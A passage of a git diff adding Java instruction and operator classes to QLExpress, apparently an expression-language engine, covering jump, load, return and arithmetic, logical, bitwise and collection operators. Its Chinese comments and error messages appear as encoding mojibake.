environment, List errorList) throws Exception { + environment.push(this.operateData); + environment.programPointAddOne(); + } + + @Override + public String toString() { + if (this.operateData instanceof OperateDataAttr) { + return "LoadData attr:" + this.operateData; + } else { + return "LoadData " + this.operateData.toString(); + } + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionGoTo.java b/src/com/ql/util/express/instruction/detail/InstructionGoTo.java new file mode 100644 index 00000000..e221bff3 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionGoTo.java @@ -0,0 +1,48 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; + +public class InstructionGoTo extends Instruction { + /** + * 跳转指令的åç§»é‡ + */ + private int offset; + private String name; + + public InstructionGoTo(int offset) { + this.offset = offset; + } + + @Override + public void execute(RunEnvironment environment, List errorList) { + environment.gotoWithOffset(this.offset); + } + + @Override + public String toString() { + String result = (this.name == null ? "" : this.name + ":") + "GoTo "; + if (this.offset >= 0) { + result = result + "+"; + } + result = result + this.offset + " "; + return result; + } + + public int getOffset() { + return offset; + } + + public void setOffset(int offset) { + this.offset = offset; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionGoToWithCondition.java b/src/com/ql/util/express/instruction/detail/InstructionGoToWithCondition.java new file mode 100644 index 00000000..61fc4883 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionGoToWithCondition.java @@ -0,0 +1,63 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class InstructionGoToWithCondition extends Instruction { + /** + * 跳转指令的åç§»é‡ + */ + private int offset; + private final boolean condition; + private final boolean isPopStackData; + + public InstructionGoToWithCondition(boolean condition, int offset, boolean isPopStackData) { + this.offset = offset; + this.condition = condition; + this.isPopStackData = isPopStackData; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + Object o; + if (!this.isPopStackData) { + o = environment.peek().getObject(environment.getContext()); + if (o == null) { + environment.pop(); + environment.push(OperateDataCacheManager.fetchOperateData(false, boolean.class)); + } + } else { + o = environment.pop().getObject(environment.getContext()); + } + boolean r; + if (o == null) { + r = false; + } else if (o instanceof Boolean) { + r = (Boolean)o; + } else { + throw new QLException(getExceptionPrefix() + "指令错误:" + o + " ä¸æ˜¯Boolean"); + } + if (r == this.condition) { + environment.gotoWithOffset(this.offset); + } else { + environment.programPointAddOne(); + } + } + + public void setOffset(int offset) { + this.offset = offset; + } + + @Override + public String toString() { + String result = "GoToIf[" + this.condition + ",isPop=" + this.isPopStackData + "] "; + if (this.offset >= 0) { + result = result + "+"; + } + result = result + this.offset; + return result; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionGoToWithNotNull.java b/src/com/ql/util/express/instruction/detail/InstructionGoToWithNotNull.java new file mode 100644 index 00000000..64fc546e --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionGoToWithNotNull.java @@ -0,0 +1,43 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; + +public class InstructionGoToWithNotNull extends Instruction { + /** + * 跳转指令的åç§»é‡ + */ + private final int offset; + private final boolean isPopStackData; + + public InstructionGoToWithNotNull(int offset, boolean isPopStackData) { + this.offset = offset; + this.isPopStackData = isPopStackData; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + Object o; + if (!this.isPopStackData) { + o = environment.peek().getObject(environment.getContext()); + } else { + o = environment.pop().getObject(environment.getContext()); + } + if (o != null) { + environment.gotoWithOffset(this.offset); + } else { + environment.programPointAddOne(); + } + } + + @Override + public String toString() { + String result = "GoToIf[NOTNULL,isPop=" + this.isPopStackData + "] "; + if (this.offset >= 0) { + result = result + "+"; + } + result = result + this.offset; + return result; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionLoadAttr.java b/src/com/ql/util/express/instruction/detail/InstructionLoadAttr.java new file mode 100644 index 00000000..6c61ba78 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionLoadAttr.java @@ -0,0 +1,38 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.InstructionSet; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class InstructionLoadAttr extends Instruction { + private final String attrName; + + public InstructionLoadAttr(String name) { + this.attrName = name; + } + + public String getAttrName() { + return this.attrName; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + Object o = environment.getContext().getSymbol(this.attrName); + //是函数,则执行 + if (o instanceof InstructionSet) { + InstructionCallMacro macro = new InstructionCallMacro(this.attrName); + macro.execute(environment, errorList); + //注æ„,此处ä¸èƒ½åœ¨å¢žåŠ æŒ‡ä»¤ï¼Œå› ä¸ºåœ¨InstructionCallMacroå·²ç»è°ƒç”¨ environment.programPointAddOne(); + } else { + environment.push((OperateDataAttr)o); + environment.programPointAddOne(); + } + } + + @Override + public String toString() { + return "LoadAttr:" + this.attrName; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionLoadLambda.java b/src/com/ql/util/express/instruction/detail/InstructionLoadLambda.java new file mode 100644 index 00000000..865cabda --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionLoadLambda.java @@ -0,0 +1,32 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.InstructionSet; +import com.ql.util.express.QLambda; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.OperateDataCacheManager; + +/** + * 将一个 QLambda 加载到栈上 + */ +public class InstructionLoadLambda extends Instruction { + private final InstructionSet lambdaSet; + + public InstructionLoadLambda(InstructionSet lambdaSet) { + this.lambdaSet = lambdaSet; + } + + @Override + public void execute(RunEnvironment environment, List errorList) { + environment.push( + OperateDataCacheManager.fetchOperateData(new QLambda(lambdaSet, environment, errorList), null) + ); + environment.programPointAddOne(); + } + + @Override + public String toString() { + return "Load Lambda " + lambdaSet.toString() + "Lambda End"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionNewVirClass.java b/src/com/ql/util/express/instruction/detail/InstructionNewVirClass.java new file mode 100644 index 00000000..d9346cc4 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionNewVirClass.java @@ -0,0 +1,44 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataAttr; +import com.ql.util.express.instruction.opdata.OperateDataVirClass; + +public class InstructionNewVirClass extends Instruction { + private final String className; + private final int opDataNumber; + + public InstructionNewVirClass(String name, int opDataNumber) { + this.className = name; + this.opDataNumber = opDataNumber; + } + + public String getClassName() { + return className; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + ArraySwap parameters = environment.popArray(this.opDataNumber); + + //因为会影å“堆栈,è¦å…ˆæŠŠå¯¹è±¡æ‹·è´å‡ºæ¥ + OperateData[] list = new OperateData[parameters.length]; + for (int i = 0; i < list.length; i++) { + list[i] = parameters.get(i); + } + + OperateDataVirClass result = new OperateDataVirClass(className); + environment.push(result); + environment.programPointAddOne(); + result.initialInstance(environment.getContext(), list, errorList, environment.isTrace()); + } + + @Override + public String toString() { + return "new VClass[" + this.className + "] OPNUMBER[" + this.opDataNumber + "]"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionOpenNewArea.java b/src/com/ql/util/express/instruction/detail/InstructionOpenNewArea.java new file mode 100644 index 00000000..a996e70d --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionOpenNewArea.java @@ -0,0 +1,27 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class InstructionOpenNewArea extends Instruction { + @Override + public void execute(RunEnvironment environment, List errorList) { + //ç›®å‰çš„模å¼ï¼Œä¸éœ€è¦æ‰§è¡Œä»»ä½•æ“作 + InstructionSetContext parentContext = environment.getContext(); + environment.setContext(OperateDataCacheManager.fetchInstructionSetContext( + true, + parentContext.getExpressRunner(), + parentContext, + parentContext.getExpressLoader(), + parentContext.isSupportDynamicFieldName())); + environment.programPointAddOne(); + } + + @Override + public String toString() { + return "openNewArea"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionOperator.java b/src/com/ql/util/express/instruction/detail/InstructionOperator.java new file mode 100644 index 00000000..8d55b822 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionOperator.java @@ -0,0 +1,46 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.exception.QLBizException; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class InstructionOperator extends Instruction { + private final OperatorBase operator; + private final int opDataNumber; + + public InstructionOperator(OperatorBase operator, int opDataNumber) { + this.operator = operator; + this.opDataNumber = opDataNumber; + } + + public OperatorBase getOperator() { + return this.operator; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + InstructionSetContext instructionSetContext = environment.getContext(); + ArraySwap parameters = environment.popArray(this.opDataNumber); + try { + OperateData result = this.operator.execute(instructionSetContext, parameters, errorList); + environment.push(result); + environment.programPointAddOne(); + } catch (QLException e) { + throw new QLException(getExceptionPrefix(), e); + } catch (Throwable t) { + throw new QLBizException(getExceptionPrefix(), t); + } + } + + @Override + public String toString() { + return "OP : " + this.operator.toString() + " OPNUMBER[" + this.opDataNumber + "]"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionReturn.java b/src/com/ql/util/express/instruction/detail/InstructionReturn.java new file mode 100644 index 00000000..fa8e5658 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionReturn.java @@ -0,0 +1,33 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; + +public class InstructionReturn extends Instruction { + private final boolean haveReturnValue; + + public InstructionReturn(boolean haveReturnValue) { + this.haveReturnValue = haveReturnValue; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + //ç›®å‰çš„模å¼ï¼Œä¸éœ€è¦æ‰§è¡Œä»»ä½•æ“作 + if (this.haveReturnValue) { + environment.quitExpress(environment.pop().getObject(environment.getContext())); + } else { + environment.quitExpress(); + } + environment.gotoLastWhenReturn(); + } + + @Override + public String toString() { + if (this.haveReturnValue) { + return "return [value]"; + } else { + return "return"; + } + } +} diff --git a/src/com/ql/util/express/instruction/op/CanClone.java b/src/com/ql/util/express/instruction/op/CanClone.java new file mode 100644 index 00000000..77742f64 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/CanClone.java @@ -0,0 +1,5 @@ +package com.ql.util.express.instruction.op; + +public interface CanClone { + OperatorBase cloneMe(String name, String errorInfo) throws Exception; +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAdd.java b/src/com/ql/util/express/instruction/op/OperatorAdd.java new file mode 100644 index 00000000..bcff0eca --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAdd.java @@ -0,0 +1,21 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.OperatorOfNumber; + +public class OperatorAdd extends Operator { + public OperatorAdd(String name) { + this.name = name; + } + + public OperatorAdd(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return OperatorOfNumber.add(list[0], list[1], this.isPrecise); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAlias.java b/src/com/ql/util/express/instruction/op/OperatorAlias.java new file mode 100644 index 00000000..1cd479ef --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAlias.java @@ -0,0 +1,28 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.opdata.OperateDataAlias; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class OperatorAlias extends OperatorBase { + public OperatorAlias(String name) { + this.name = name; + } + + public OperatorAlias(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + String varName = (String)list.get(0).getObjectInner(parent); + OperateDataAttr realAttr = (OperateDataAttr)list.get(1); + OperateDataAttr result = new OperateDataAlias(varName, realAttr); + parent.addSymbol(varName, result); + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAnd.java b/src/com/ql/util/express/instruction/op/OperatorAnd.java new file mode 100644 index 00000000..9ad80f99 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAnd.java @@ -0,0 +1,44 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorAnd extends Operator { + public OperatorAnd(String name) { + this.name = name; + } + + public OperatorAnd(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object operand1, Object operand2) throws Exception { + boolean r1; + if (operand1 == null) { + r1 = false; + } else if (operand1 instanceof Boolean) { + r1 = (Boolean)operand1; + } else { + String msg = "没有定义类型" + operand1 + "å’Œ" + operand2 + " çš„ " + this.name + "æ“作"; + throw new QLException(msg); + } + + boolean r2; + if (operand2 == null) { + r2 = false; + } else if (operand2 instanceof Boolean) { + r2 = (Boolean)operand2; + } else { + String msg = "没有定义类型" + operand1 + "å’Œ" + operand2 + " çš„ " + this.name + "æ“作"; + throw new QLException(msg); + } + return r1 && r2; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAnonymousNewArray.java b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewArray.java new file mode 100644 index 00000000..2a014840 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewArray.java @@ -0,0 +1,60 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Array; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorAnonymousNewArray extends OperatorBase { + public OperatorAnonymousNewArray(String name) { + this.name = name; + } + + public OperatorAnonymousNewArray(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Class type = this.findArrayClassType(parent, list); + type = ExpressUtil.getSimpleDataType(type); + int[] dims = new int[1]; + dims[0] = list.length; + Object data = Array.newInstance(type, dims); + for (int i = 0; i < list.length; i++) { + Array.set(data, i, list.get(i).getObject(parent)); + } + return OperateDataCacheManager.fetchOperateData(data, data.getClass()); + } + + private Class findArrayClassType(InstructionSetContext instructionSetContext, ArraySwap list) throws Exception { + Class type = null; + for (int i = 0; i < list.length; i++) { + Class type1 = list.get(i).getType(instructionSetContext); + if (type1 == null) { + //doNothing + } else if (type == null) { + //第一次赋值 + type = type1; + } else if (type1 == type || type.isAssignableFrom(type1)) { + //type1是typeçš„å­ç±» + //doNothing + } else if (type1.isAssignableFrom(type)) { + //寻找更基础的类 + type = type1; + } else { + type = Object.class; + } + } + if (type == null) { + //å‚数全部为null的情况 + type = Object.class; + } + return type; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAnonymousNewList.java b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewList.java new file mode 100644 index 00000000..960af258 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewList.java @@ -0,0 +1,30 @@ +package com.ql.util.express.instruction.op; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorAnonymousNewList extends OperatorBase { + public OperatorAnonymousNewList(String name) { + this.name = name; + } + + public OperatorAnonymousNewList(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + List result = new ArrayList<>(); + for (int i = 0; i < list.length; i++) { + result.add(list.get(i).getObject(parent)); + } + return OperateDataCacheManager.fetchOperateData(result, List.class); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorAnonymousNewMap.java b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewMap.java new file mode 100644 index 00000000..336348e6 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorAnonymousNewMap.java @@ -0,0 +1,33 @@ +package com.ql.util.express.instruction.op; + +import java.util.HashMap; +import java.util.Map; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.opdata.OperateDataKeyValue; + +public class OperatorAnonymousNewMap extends OperatorBase { + public OperatorAnonymousNewMap(String name) { + this.name = name; + } + + public OperatorAnonymousNewMap(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Map result = new HashMap<>(); + for (int i = 0; i < list.length; i++) { + Object key = ((OperateDataKeyValue)list.get(i)).getKey().getObject(parent); + Object value = ((OperateDataKeyValue)list.get(i)).getValue().getObject(parent); + result.put(key, value); + } + return OperateDataCacheManager.fetchOperateData(result, HashMap.class); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorArray.java b/src/com/ql/util/express/instruction/op/OperatorArray.java new file mode 100644 index 00000000..b345b61f --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorArray.java @@ -0,0 +1,47 @@ +package com.ql.util.express.instruction.op; + +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorArray extends OperatorBase { + public OperatorArray(String name) { + this.name = name; + } + + public OperatorArray(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + OperateData firstOperateData = list.get(0); + if (firstOperateData == null || firstOperateData.getObject(parent) == null) { + throw new QLException("对象为null,ä¸èƒ½æ‰§è¡Œæ•°ç»„相关æ“作"); + } + + Object tmpObject = firstOperateData.getObject(parent); + + if (!tmpObject.getClass().isArray()) { + Object property = list.get(1).getObject(parent); + //支æŒdata.get(index) ->data[index] + if (tmpObject instanceof List && property instanceof Number) { + int index = ((Number)property).intValue(); + return OperateDataCacheManager.fetchOperateDataArrayItem(firstOperateData, index); + } + //支æŒdata.code -> data['code'] + if (property instanceof String || property instanceof Character) { + return OperateDataCacheManager.fetchOperateDataField(tmpObject, String.valueOf(property)); + } + } + //支æŒåŽŸç”ŸArray:data[index] + int index = ((Number)list.get(1).getObject(parent)).intValue(); + return OperateDataCacheManager.fetchOperateDataArrayItem(firstOperateData, index); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorBase.java b/src/com/ql/util/express/instruction/op/OperatorBase.java new file mode 100644 index 00000000..4c78852f --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorBase.java @@ -0,0 +1,197 @@ +package com.ql.util.express.instruction.op; + +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +/** + * æ“作符å·å®šä¹‰ + * + * @author qhlhl2010@gmail.com + */ +public abstract class OperatorBase { + protected String name; + protected String aliasName; + protected String errorInfo; + + /** + * 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®— + */ + protected boolean isPrecise = false; + + /** + * æ“作数æè¿° + */ + protected String[] operateDataDesc; + + /** + * æ“作数的其它定义 + */ + protected String[] operateDataAnnotation; + + public Object[] toObjectList(InstructionSetContext parent, ArraySwap list) throws Exception { + if (list == null) { + return new Object[0]; + } + Object[] result = new Object[list.length]; + OperateData p; + for (int i = 0; i < list.length; i++) { + p = list.get(i); + if (p instanceof OperateDataAttr) { + result[i] = ((OperateDataAttr)p).getName() + ":" + p.getObject(parent); + } else { + result[i] = p.getObject(parent); + } + } + return result; + } + + public OperateData execute(InstructionSetContext context, ArraySwap list, List errorList) throws Exception { + OperateData result; + result = this.executeInner(context, list); + //è¾“å‡ºé”™è¯¯ä¿¡æ¯ + if (errorList != null && this.errorInfo != null && result != null) { + Object obj = result.getObject(context); + if (obj instanceof Boolean && !(Boolean)obj) { + String tmpStr = ExpressUtil.replaceString(this.errorInfo, toObjectList(context, list)); + if (!errorList.contains(tmpStr)) { + errorList.add(tmpStr); + } + } + } + return result; + } + + @Override + public String toString() { + if (this.aliasName != null) { + return this.aliasName; + } else { + return this.name; + } + } + + public abstract OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception; + + public String[] getOperateDataDesc() { + return this.operateDataDesc; + } + + public String[] getOperateDataAnnotation() { + return this.operateDataAnnotation; + } + + public void setName(String name) { + this.name = name; + } + + public String getName() { + return this.name; + } + + public String getAliasName() { + if (this.aliasName != null) { + return this.aliasName; + } else { + return this.name; + } + } + + public void setAliasName(String aliasName) { + this.aliasName = aliasName; + } + + public boolean isPrecise() { + return isPrecise; + } + + public void setPrecise(boolean isPrecise) { + this.isPrecise = isPrecise; + } + + public String getErrorInfo() { + return errorInfo; + } + + public void setErrorInfo(String errorInfo) { + this.errorInfo = errorInfo; + } +} + +class OperatorFunction extends OperatorBase { + public OperatorFunction(String name) { + this.name = name; + } + + public OperatorFunction(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + throw new QLException("还没有实现"); + } +} + +class OperatorReturn extends OperatorBase { + public OperatorReturn(String name) { + this.name = name; + } + + public OperatorReturn(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + return executeInner(parent); + } + + public OperateData executeInner(InstructionSetContext parent) throws Exception { + throw new QLException("return 是通过特殊指令æ¥å®žçŽ°çš„,ä¸èƒ½æ”¯æŒæ­¤æ–¹æ³•"); + } +} + +class OperatorBreak extends OperatorBase { + public OperatorBreak(String name) { + this.name = name; + } + + public OperatorBreak(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + throw new QLException("OperatorBreak 是通过特殊指令æ¥å®žçŽ°çš„,ä¸èƒ½æ”¯æŒæ­¤æ–¹æ³•"); + } +} + +class OperatorContinue extends OperatorBase { + public OperatorContinue(String name) { + this.name = name; + } + + public OperatorContinue(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + throw new QLException("OperatorContinue 是通过特殊指令æ¥å®žçŽ°çš„,ä¸èƒ½æ”¯æŒæ­¤æ–¹æ³•"); + } +} + diff --git a/src/com/ql/util/express/instruction/op/OperatorBit.java b/src/com/ql/util/express/instruction/op/OperatorBit.java new file mode 100644 index 00000000..29c12f79 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorBit.java @@ -0,0 +1,81 @@ +package com.ql.util.express.instruction.op; + +import java.util.Arrays; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +/** + * Created by tianqiao on 16/12/15. + */ +public class OperatorBit extends Operator { + public OperatorBit(String name) { + this.name = name; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + if ("~".equals(this.name)) { + if (list.length == 1 && list[0] instanceof Number) { + if (list[0] instanceof Integer) { + return ~(((Number)list[0]).intValue()); + } else { + return ~(((Number)list[0]).longValue()); + } + } else { + throw new QLException("å–åæ“作符 ~ å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + if ("&".equals(this.name)) { + if (list.length == 2 && list[0] instanceof Number && list[1] instanceof Number) { + if (list[0] instanceof Integer && list[1] instanceof Integer) { + return (Integer)list[0] & (Integer)list[1]; + } + return (((Number)list[0]).longValue()) & (((Number)list[1]).longValue()); + } else { + throw new QLException("按ä½ä¸Žæ“作符 & 两边的å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + if ("|".equals(this.name)) { + if (list.length == 2 && list[0] instanceof Number && list[1] instanceof Number) { + if (list[0] instanceof Integer && list[1] instanceof Integer) { + return (Integer)list[0] | (Integer)list[1]; + } + return (((Number)list[0]).longValue()) | (((Number)list[1]).longValue()); + } else { + throw new QLException("按ä½æˆ–æ“作符 | 两边的å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + if ("^".equals(this.name)) { + if (list.length == 2 && list[0] instanceof Number && list[1] instanceof Number) { + if (list[0] instanceof Integer && list[1] instanceof Integer) { + return (Integer)list[0] ^ (Integer)list[1]; + } + return (((Number)list[0]).longValue()) ^ (((Number)list[1]).longValue()); + } else { + throw new QLException("按ä½å¼‚或æ“作符 ^ 两边的å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + if ("<<".equals(this.name)) { + if (list.length == 2 && list[0] instanceof Number && list[1] instanceof Number) { + if (list[0] instanceof Integer && list[1] instanceof Integer) { + return (Integer)list[0] << (Integer)list[1]; + } + return (((Number)list[0]).longValue()) << (((Number)list[1]).longValue()); + } else { + throw new QLException("左移æ“作符 << 两边的å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + if (">>".equals(this.name)) { + if (list.length == 2 && list[0] instanceof Number && list[1] instanceof Number) { + if (list[0] instanceof Integer && list[1] instanceof Integer) { + return (Integer)list[0] >> (Integer)list[1]; + } + return (((Number)list[0]).longValue()) >> (((Number)list[1]).longValue()); + } else { + throw new QLException("å³ç§»æ“作符 >> 两边的å‚æ•°ä¸åˆæ³•:" + Arrays.toString(list)); + } + } + throw new QLException("ä¸æ”¯æŒçš„ä½è¿ç®—æ“作符:" + Arrays.toString(list)); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorCast.java b/src/com/ql/util/express/instruction/op/OperatorCast.java new file mode 100644 index 00000000..e4e0dd4e --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorCast.java @@ -0,0 +1,20 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorCast extends OperatorBase { + public OperatorCast(String name) { + this.name = name; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Class tmpClass = (Class)list.get(0).getObject(parent); + Object castObj = ExpressUtil.castObject(list.get(1).getObject(parent), tmpClass, true); + return OperateDataCacheManager.fetchOperateData(castObj, tmpClass); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorDef.java b/src/com/ql/util/express/instruction/op/OperatorDef.java new file mode 100644 index 00000000..cfce73b1 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorDef.java @@ -0,0 +1,35 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; +import com.ql.util.express.instruction.opdata.OperateDataVirClass; + +public class OperatorDef extends OperatorBase { + public OperatorDef(String name) { + this.name = name; + } + + public OperatorDef(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Object type = list.get(0).getObject(parent); + String varName = (String)list.get(1).getObject(parent); + Class tmpClass; + if (type instanceof Class) { + tmpClass = (Class)type; + } else { + tmpClass = OperateDataVirClass.class; + } + OperateDataLocalVar result = OperateDataCacheManager.fetchOperateDataLocalVar(varName, tmpClass); + parent.addSymbol(varName, result); + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorDoubleAddReduce.java b/src/com/ql/util/express/instruction/op/OperatorDoubleAddReduce.java new file mode 100644 index 00000000..38990a6a --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorDoubleAddReduce.java @@ -0,0 +1,32 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.OperatorOfNumber; +import 